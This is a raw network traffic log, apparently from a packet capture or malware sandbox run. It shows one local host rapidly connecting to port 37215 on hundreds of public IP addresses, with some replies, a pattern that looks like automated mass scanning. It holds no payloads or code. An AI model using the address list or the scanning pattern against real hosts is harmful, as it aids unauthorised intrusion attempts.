Aug 1, 2024 15:34:56.843444109 CEST	47767	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:56.843451023 CEST	47767	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:56.843482971 CEST	47767	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:56.843483925 CEST	47767	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:56.843494892 CEST	47767	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:56.843521118 CEST	47767	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:56.843558073 CEST	47767	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:56.843560934 CEST	47767	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:56.843564987 CEST	47767	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:56.843591928 CEST	47767	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:56.843615055 CEST	47767	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:56.843615055 CEST	47767	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:56.843616009 CEST	47767	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:56.843627930 CEST	47767	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:56.843663931 CEST	47767	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:56.843698025 CEST	47767	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:56.843698025 CEST	47767	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:56.843723059 CEST	47767	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:56.843750000 CEST	47767	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:56.843750954 CEST	47767	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:56.843767881 CEST	47767	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:56.843796968 CEST	47767	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:56.843800068 CEST	47767	37215	192.168.2.14	41.39.186.244
Aug 1, 2024 15:34:56.843816996 CEST	47767	37215	192.168.2.14	157.158.40.26
Aug 1, 2024 15:34:56.843822956 CEST	47767	37215	192.168.2.14	197.91.109.87
Aug 1, 2024 15:34:56.843847990 CEST	47767	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:56.843868971 CEST	47767	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:56.843900919 CEST	47767	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:56.843904018 CEST	47767	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:56.843919039 CEST	47767	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:56.843961000 CEST	47767	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:56.843967915 CEST	47767	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:56.844014883 CEST	47767	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:56.844014883 CEST	47767	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:56.844017982 CEST	47767	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:56.844033957 CEST	47767	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:56.844042063 CEST	47767	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:56.844074965 CEST	47767	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:56.844078064 CEST	47767	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:56.844083071 CEST	47767	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:56.844124079 CEST	47767	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:56.844124079 CEST	47767	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:56.844151974 CEST	47767	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:56.844198942 CEST	47767	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:56.844198942 CEST	47767	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:56.844218969 CEST	47767	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:56.844225883 CEST	47767	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:56.844233036 CEST	47767	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:56.844260931 CEST	47767	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:56.844294071 CEST	47767	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:56.844294071 CEST	47767	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:56.844314098 CEST	47767	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:56.844336033 CEST	47767	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:56.844369888 CEST	47767	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:56.844397068 CEST	47767	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:56.844400883 CEST	47767	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:56.844400883 CEST	47767	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:56.844423056 CEST	47767	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:56.844425917 CEST	47767	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:56.844458103 CEST	47767	37215	192.168.2.14	157.154.221.57
Aug 1, 2024 15:34:56.844470024 CEST	47767	37215	192.168.2.14	14.190.104.245
Aug 1, 2024 15:34:56.844508886 CEST	47767	37215	192.168.2.14	197.252.210.245
Aug 1, 2024 15:34:56.844530106 CEST	47767	37215	192.168.2.14	197.226.46.21
Aug 1, 2024 15:34:56.844530106 CEST	47767	37215	192.168.2.14	197.196.40.133
Aug 1, 2024 15:34:56.844537973 CEST	47767	37215	192.168.2.14	197.150.90.60
Aug 1, 2024 15:34:56.844553947 CEST	47767	37215	192.168.2.14	187.160.51.75
Aug 1, 2024 15:34:56.844590902 CEST	47767	37215	192.168.2.14	41.136.78.84
Aug 1, 2024 15:34:56.844590902 CEST	47767	37215	192.168.2.14	197.71.56.244
Aug 1, 2024 15:34:56.844603062 CEST	47767	37215	192.168.2.14	41.7.253.92
Aug 1, 2024 15:34:56.844611883 CEST	47767	37215	192.168.2.14	148.245.147.90
Aug 1, 2024 15:34:56.844624996 CEST	47767	37215	192.168.2.14	63.182.26.190
Aug 1, 2024 15:34:56.844655037 CEST	47767	37215	192.168.2.14	197.133.207.105
Aug 1, 2024 15:34:56.844660044 CEST	47767	37215	192.168.2.14	41.86.147.45
Aug 1, 2024 15:34:56.844680071 CEST	47767	37215	192.168.2.14	130.47.155.129
Aug 1, 2024 15:34:56.844707966 CEST	47767	37215	192.168.2.14	197.176.24.104
Aug 1, 2024 15:34:56.844721079 CEST	47767	37215	192.168.2.14	197.18.236.36
Aug 1, 2024 15:34:56.844721079 CEST	47767	37215	192.168.2.14	157.19.219.96
Aug 1, 2024 15:34:56.844739914 CEST	47767	37215	192.168.2.14	41.2.22.184
Aug 1, 2024 15:34:56.844752073 CEST	47767	37215	192.168.2.14	41.117.191.144
Aug 1, 2024 15:34:56.844763041 CEST	47767	37215	192.168.2.14	151.198.130.124
Aug 1, 2024 15:34:56.844767094 CEST	47767	37215	192.168.2.14	172.128.243.228
Aug 1, 2024 15:34:56.844805956 CEST	47767	37215	192.168.2.14	157.182.228.215
Aug 1, 2024 15:34:56.844805956 CEST	47767	37215	192.168.2.14	157.194.129.160
Aug 1, 2024 15:34:56.844837904 CEST	47767	37215	192.168.2.14	197.141.27.118
Aug 1, 2024 15:34:56.844856977 CEST	47767	37215	192.168.2.14	111.219.90.142
Aug 1, 2024 15:34:56.844860077 CEST	47767	37215	192.168.2.14	17.213.200.107
Aug 1, 2024 15:34:56.844885111 CEST	47767	37215	192.168.2.14	41.125.82.183
Aug 1, 2024 15:34:56.844906092 CEST	47767	37215	192.168.2.14	197.104.130.27
Aug 1, 2024 15:34:56.844913960 CEST	47767	37215	192.168.2.14	119.90.131.53
Aug 1, 2024 15:34:56.844940901 CEST	47767	37215	192.168.2.14	197.153.149.210
Aug 1, 2024 15:34:56.844947100 CEST	47767	37215	192.168.2.14	197.152.239.61
Aug 1, 2024 15:34:56.844980955 CEST	47767	37215	192.168.2.14	157.108.69.147
Aug 1, 2024 15:34:56.844983101 CEST	47767	37215	192.168.2.14	197.177.166.85
Aug 1, 2024 15:34:56.844983101 CEST	47767	37215	192.168.2.14	197.141.234.224
Aug 1, 2024 15:34:56.845006943 CEST	47767	37215	192.168.2.14	41.12.104.26
Aug 1, 2024 15:34:56.845011950 CEST	47767	37215	192.168.2.14	157.101.184.107
Aug 1, 2024 15:34:56.845031023 CEST	47767	37215	192.168.2.14	160.149.238.205
Aug 1, 2024 15:34:56.845060110 CEST	47767	37215	192.168.2.14	41.135.240.219
Aug 1, 2024 15:34:56.845060110 CEST	47767	37215	192.168.2.14	41.12.240.236
Aug 1, 2024 15:34:56.845101118 CEST	47767	37215	192.168.2.14	41.18.157.111
Aug 1, 2024 15:34:56.845102072 CEST	47767	37215	192.168.2.14	197.86.199.8
Aug 1, 2024 15:34:56.845120907 CEST	47767	37215	192.168.2.14	157.179.229.76
Aug 1, 2024 15:34:56.845139980 CEST	47767	37215	192.168.2.14	41.171.17.204
Aug 1, 2024 15:34:56.845149040 CEST	47767	37215	192.168.2.14	157.74.188.160
Aug 1, 2024 15:34:56.845164061 CEST	47767	37215	192.168.2.14	197.58.206.143
Aug 1, 2024 15:34:56.845170021 CEST	47767	37215	192.168.2.14	41.117.23.22
Aug 1, 2024 15:34:56.845172882 CEST	47767	37215	192.168.2.14	157.158.84.141
Aug 1, 2024 15:34:56.845190048 CEST	47767	37215	192.168.2.14	197.137.205.208
Aug 1, 2024 15:34:56.845206022 CEST	47767	37215	192.168.2.14	163.42.224.94
Aug 1, 2024 15:34:56.845222950 CEST	47767	37215	192.168.2.14	197.191.74.75
Aug 1, 2024 15:34:56.845253944 CEST	47767	37215	192.168.2.14	197.92.56.154
Aug 1, 2024 15:34:56.845253944 CEST	47767	37215	192.168.2.14	41.46.147.104
Aug 1, 2024 15:34:56.845274925 CEST	47767	37215	192.168.2.14	41.23.136.70
Aug 1, 2024 15:34:56.845302105 CEST	47767	37215	192.168.2.14	41.241.93.77
Aug 1, 2024 15:34:56.845302105 CEST	47767	37215	192.168.2.14	41.225.137.7
Aug 1, 2024 15:34:56.845330954 CEST	47767	37215	192.168.2.14	197.44.123.150
Aug 1, 2024 15:34:56.845334053 CEST	47767	37215	192.168.2.14	197.69.76.72
Aug 1, 2024 15:34:56.845346928 CEST	47767	37215	192.168.2.14	157.59.133.168
Aug 1, 2024 15:34:56.845370054 CEST	47767	37215	192.168.2.14	197.73.155.152
Aug 1, 2024 15:34:56.845391035 CEST	47767	37215	192.168.2.14	54.13.239.184
Aug 1, 2024 15:34:56.845408916 CEST	47767	37215	192.168.2.14	41.126.121.67
Aug 1, 2024 15:34:56.845438004 CEST	47767	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:56.845443010 CEST	47767	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:56.845451117 CEST	47767	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:56.845483065 CEST	47767	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:56.845483065 CEST	47767	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:56.845506907 CEST	47767	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:56.845525980 CEST	47767	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:56.845542908 CEST	47767	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:56.845571041 CEST	47767	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:56.845597982 CEST	47767	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:56.845616102 CEST	47767	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:56.845621109 CEST	47767	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:56.845621109 CEST	47767	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:56.845638037 CEST	47767	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:56.845639944 CEST	47767	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:56.845674038 CEST	47767	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:56.845695972 CEST	47767	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:56.845714092 CEST	47767	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:56.845724106 CEST	47767	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:56.845746994 CEST	47767	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:56.845746994 CEST	47767	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:56.845779896 CEST	47767	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:56.845781088 CEST	47767	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:56.845824003 CEST	47767	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:56.845825911 CEST	47767	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:56.845865965 CEST	47767	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:56.845896006 CEST	47767	37215	192.168.2.14	41.154.169.112
Aug 1, 2024 15:34:56.845909119 CEST	47767	37215	192.168.2.14	197.249.117.43
Aug 1, 2024 15:34:56.845928907 CEST	47767	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:56.848625898 CEST	37215	47767	200.156.103.209	192.168.2.14
Aug 1, 2024 15:34:56.848638058 CEST	37215	47767	157.195.114.238	192.168.2.14
Aug 1, 2024 15:34:56.848710060 CEST	37215	47767	27.57.102.199	192.168.2.14
Aug 1, 2024 15:34:56.848711014 CEST	47767	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:56.848716974 CEST	47767	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:56.848720074 CEST	37215	47767	41.150.28.211	192.168.2.14
Aug 1, 2024 15:34:56.848745108 CEST	47767	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:56.848752022 CEST	47767	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:56.849050045 CEST	37215	47767	41.103.184.180	192.168.2.14
Aug 1, 2024 15:34:56.849071026 CEST	37215	47767	157.234.123.41	192.168.2.14
Aug 1, 2024 15:34:56.849081039 CEST	37215	47767	197.5.0.94	192.168.2.14
Aug 1, 2024 15:34:56.849091053 CEST	37215	47767	197.51.113.103	192.168.2.14
Aug 1, 2024 15:34:56.849092960 CEST	47767	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:56.849102020 CEST	37215	47767	197.14.237.171	192.168.2.14
Aug 1, 2024 15:34:56.849112988 CEST	37215	47767	41.172.52.42	192.168.2.14
Aug 1, 2024 15:34:56.849117041 CEST	47767	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:56.849122047 CEST	37215	47767	102.97.63.75	192.168.2.14
Aug 1, 2024 15:34:56.849128008 CEST	47767	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:56.849154949 CEST	47767	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:56.849164009 CEST	47767	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:56.849165916 CEST	47767	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:56.849181890 CEST	47767	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:56.849253893 CEST	37215	47767	41.146.96.4	192.168.2.14
Aug 1, 2024 15:34:56.849265099 CEST	37215	47767	137.123.9.9	192.168.2.14
Aug 1, 2024 15:34:56.849272966 CEST	37215	47767	12.5.237.45	192.168.2.14
Aug 1, 2024 15:34:56.849282980 CEST	37215	47767	197.238.214.184	192.168.2.14
Aug 1, 2024 15:34:56.849302053 CEST	47767	37215	192.168.2.14	137.123.9.9
Aug 1, 2024 15:34:56.849303007 CEST	37215	47767	157.186.91.72	192.168.2.14
Aug 1, 2024 15:34:56.849304914 CEST	47767	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:56.849304914 CEST	47767	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:56.849313021 CEST	37215	47767	41.3.255.40	192.168.2.14
Aug 1, 2024 15:34:56.849323034 CEST	37215	47767	41.34.162.72	192.168.2.14
Aug 1, 2024 15:34:56.849333048 CEST	37215	47767	197.6.247.128	192.168.2.14
Aug 1, 2024 15:34:56.849337101 CEST	47767	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:56.849344015 CEST	37215	47767	41.124.231.62	192.168.2.14
Aug 1, 2024 15:34:56.849349976 CEST	47767	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:56.849359035 CEST	47767	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:56.849364042 CEST	47767	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:56.849376917 CEST	47767	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:56.849385977 CEST	47767	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:56.849555016 CEST	37215	47767	157.3.231.133	192.168.2.14
Aug 1, 2024 15:34:56.849628925 CEST	47767	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:56.850411892 CEST	37215	47767	157.22.48.45	192.168.2.14
Aug 1, 2024 15:34:56.850423098 CEST	37215	47767	157.239.173.146	192.168.2.14
Aug 1, 2024 15:34:56.850460052 CEST	47767	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:56.850461960 CEST	37215	47767	157.139.217.248	192.168.2.14
Aug 1, 2024 15:34:56.850474119 CEST	37215	47767	41.243.30.216	192.168.2.14
Aug 1, 2024 15:34:56.850482941 CEST	37215	47767	157.124.238.97	192.168.2.14
Aug 1, 2024 15:34:56.850492001 CEST	47767	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:56.850492954 CEST	37215	47767	135.171.11.223	192.168.2.14
Aug 1, 2024 15:34:56.850514889 CEST	47767	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:56.850516081 CEST	37215	47767	157.143.77.8	192.168.2.14
Aug 1, 2024 15:34:56.850526094 CEST	47767	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:56.850527048 CEST	37215	47767	41.112.168.9	192.168.2.14
Aug 1, 2024 15:34:56.850533962 CEST	47767	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:56.850536108 CEST	47767	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:56.850537062 CEST	37215	47767	197.253.172.111	192.168.2.14
Aug 1, 2024 15:34:56.850547075 CEST	37215	47767	197.139.84.49	192.168.2.14
Aug 1, 2024 15:34:56.850563049 CEST	47767	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:56.850565910 CEST	47767	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:56.850569963 CEST	47767	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:56.850585938 CEST	47767	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:56.851622105 CEST	37215	47767	41.185.100.117	192.168.2.14
Aug 1, 2024 15:34:56.851632118 CEST	37215	47767	157.97.41.229	192.168.2.14
Aug 1, 2024 15:34:56.851640940 CEST	37215	47767	197.101.242.74	192.168.2.14
Aug 1, 2024 15:34:56.851645947 CEST	37215	47767	157.23.152.245	192.168.2.14
Aug 1, 2024 15:34:56.851665974 CEST	37215	47767	197.128.51.138	192.168.2.14
Aug 1, 2024 15:34:56.851670027 CEST	47767	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:56.851675987 CEST	37215	47767	157.16.45.114	192.168.2.14
Aug 1, 2024 15:34:56.851685047 CEST	37215	47767	197.15.213.209	192.168.2.14
Aug 1, 2024 15:34:56.851686954 CEST	47767	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:56.851690054 CEST	47767	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:56.851695061 CEST	47767	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:56.851695061 CEST	37215	47767	41.26.100.186	192.168.2.14
Aug 1, 2024 15:34:56.851697922 CEST	47767	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:56.851706028 CEST	37215	47767	157.178.58.224	192.168.2.14
Aug 1, 2024 15:34:56.851711035 CEST	47767	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:56.851715088 CEST	37215	47767	197.91.165.77	192.168.2.14
Aug 1, 2024 15:34:56.851732016 CEST	47767	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:56.851732016 CEST	47767	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:56.851756096 CEST	47767	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:56.851758957 CEST	47767	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:56.852138996 CEST	37215	47767	157.141.216.101	192.168.2.14
Aug 1, 2024 15:34:56.852149010 CEST	37215	47767	197.194.38.163	192.168.2.14
Aug 1, 2024 15:34:56.852159023 CEST	37215	47767	157.253.143.41	192.168.2.14
Aug 1, 2024 15:34:56.852178097 CEST	37215	47767	157.6.154.255	192.168.2.14
Aug 1, 2024 15:34:56.852186918 CEST	47767	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:56.852186918 CEST	37215	47767	41.38.190.41	192.168.2.14
Aug 1, 2024 15:34:56.852190018 CEST	47767	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:56.852190971 CEST	47767	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:56.852199078 CEST	37215	47767	197.113.21.92	192.168.2.14
Aug 1, 2024 15:34:56.852210045 CEST	37215	47767	157.237.238.8	192.168.2.14
Aug 1, 2024 15:34:56.852211952 CEST	47767	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:56.852220058 CEST	37215	47767	150.202.107.179	192.168.2.14
Aug 1, 2024 15:34:56.852225065 CEST	47767	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:56.852230072 CEST	37215	47767	41.72.112.32	192.168.2.14
Aug 1, 2024 15:34:56.852238894 CEST	47767	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:56.852242947 CEST	47767	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:56.852258921 CEST	47767	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:56.852272987 CEST	47767	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:56.852693081 CEST	37215	47767	41.76.214.25	192.168.2.14
Aug 1, 2024 15:34:56.852703094 CEST	37215	47767	89.158.201.188	192.168.2.14
Aug 1, 2024 15:34:56.852713108 CEST	37215	47767	41.193.128.149	192.168.2.14
Aug 1, 2024 15:34:56.852725029 CEST	37215	47767	177.117.141.141	192.168.2.14
Aug 1, 2024 15:34:56.852736950 CEST	47767	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:56.852735996 CEST	47767	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:56.852742910 CEST	37215	47767	197.249.88.214	192.168.2.14
Aug 1, 2024 15:34:56.852752924 CEST	37215	47767	197.61.148.16	192.168.2.14
Aug 1, 2024 15:34:56.852754116 CEST	47767	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:56.852761030 CEST	37215	47767	157.143.154.46	192.168.2.14
Aug 1, 2024 15:34:56.852771044 CEST	47767	37215	192.168.2.14	177.117.141.141
Aug 1, 2024 15:34:56.852771044 CEST	37215	47767	122.184.139.106	192.168.2.14
Aug 1, 2024 15:34:56.852782011 CEST	47767	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:56.852782965 CEST	37215	47767	157.172.58.12	192.168.2.14
Aug 1, 2024 15:34:56.852793932 CEST	37215	47767	117.187.225.22	192.168.2.14
Aug 1, 2024 15:34:56.852797985 CEST	47767	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:56.852826118 CEST	47767	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:56.852826118 CEST	47767	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:56.852832079 CEST	47767	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:56.852859974 CEST	47767	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:56.853149891 CEST	37215	47767	157.142.243.64	192.168.2.14
Aug 1, 2024 15:34:56.853159904 CEST	37215	47767	197.4.230.80	192.168.2.14
Aug 1, 2024 15:34:56.853171110 CEST	37215	47767	86.145.59.248	192.168.2.14
Aug 1, 2024 15:34:56.853192091 CEST	37215	47767	41.53.153.51	192.168.2.14
Aug 1, 2024 15:34:56.853195906 CEST	47767	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:56.853200912 CEST	37215	47767	197.115.108.30	192.168.2.14
Aug 1, 2024 15:34:56.853209019 CEST	47767	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:56.853210926 CEST	47767	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:56.853212118 CEST	37215	47767	157.111.86.94	192.168.2.14
Aug 1, 2024 15:34:56.853221893 CEST	37215	47767	157.252.45.45	192.168.2.14
Aug 1, 2024 15:34:56.853233099 CEST	37215	47767	157.55.99.228	192.168.2.14
Aug 1, 2024 15:34:56.853236914 CEST	47767	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:56.853236914 CEST	47767	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:56.853241920 CEST	37215	47767	105.61.187.232	192.168.2.14
Aug 1, 2024 15:34:56.853252888 CEST	37215	47767	157.37.145.138	192.168.2.14
Aug 1, 2024 15:34:56.853260040 CEST	47767	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:56.853260040 CEST	47767	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:56.853277922 CEST	47767	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:56.853292942 CEST	47767	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:56.853293896 CEST	47767	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:56.853945017 CEST	37215	47767	157.116.105.171	192.168.2.14
Aug 1, 2024 15:34:56.853955984 CEST	37215	47767	197.115.117.73	192.168.2.14
Aug 1, 2024 15:34:56.853992939 CEST	47767	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:56.853992939 CEST	47767	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:56.854012966 CEST	37215	47767	147.57.45.29	192.168.2.14
Aug 1, 2024 15:34:56.854048967 CEST	47767	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:56.854079008 CEST	37215	47767	197.224.223.95	192.168.2.14
Aug 1, 2024 15:34:56.854088068 CEST	37215	47767	41.119.64.108	192.168.2.14
Aug 1, 2024 15:34:56.854098082 CEST	37215	47767	41.235.161.222	192.168.2.14
Aug 1, 2024 15:34:56.854108095 CEST	37215	47767	41.242.194.188	192.168.2.14
Aug 1, 2024 15:34:56.854115009 CEST	47767	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:56.854116917 CEST	37215	47767	41.246.219.118	192.168.2.14
Aug 1, 2024 15:34:56.854125977 CEST	37215	47767	197.92.230.23	192.168.2.14
Aug 1, 2024 15:34:56.854135036 CEST	37215	47767	157.153.88.99	192.168.2.14
Aug 1, 2024 15:34:56.854136944 CEST	47767	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:56.854139090 CEST	47767	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:56.854154110 CEST	47767	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:56.854154110 CEST	47767	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:56.854168892 CEST	47767	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:56.854171038 CEST	47767	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:56.854753017 CEST	37215	47767	9.105.10.4	192.168.2.14
Aug 1, 2024 15:34:56.854763985 CEST	37215	47767	79.196.100.247	192.168.2.14
Aug 1, 2024 15:34:56.854773045 CEST	37215	47767	41.243.3.39	192.168.2.14
Aug 1, 2024 15:34:56.854783058 CEST	37215	47767	197.69.41.146	192.168.2.14
Aug 1, 2024 15:34:56.854792118 CEST	37215	47767	157.84.64.80	192.168.2.14
Aug 1, 2024 15:34:56.854796886 CEST	47767	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:56.854799032 CEST	47767	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:56.854801893 CEST	37215	47767	162.197.87.219	192.168.2.14
Aug 1, 2024 15:34:56.854825020 CEST	47767	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:56.854825020 CEST	47767	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:56.854851961 CEST	47767	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:56.854854107 CEST	47767	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:56.855029106 CEST	37215	47767	200.72.248.194	192.168.2.14
Aug 1, 2024 15:34:56.855041027 CEST	37215	47767	115.207.220.252	192.168.2.14
Aug 1, 2024 15:34:56.855050087 CEST	37215	47767	197.117.183.255	192.168.2.14
Aug 1, 2024 15:34:56.855062008 CEST	37215	47767	197.17.154.0	192.168.2.14
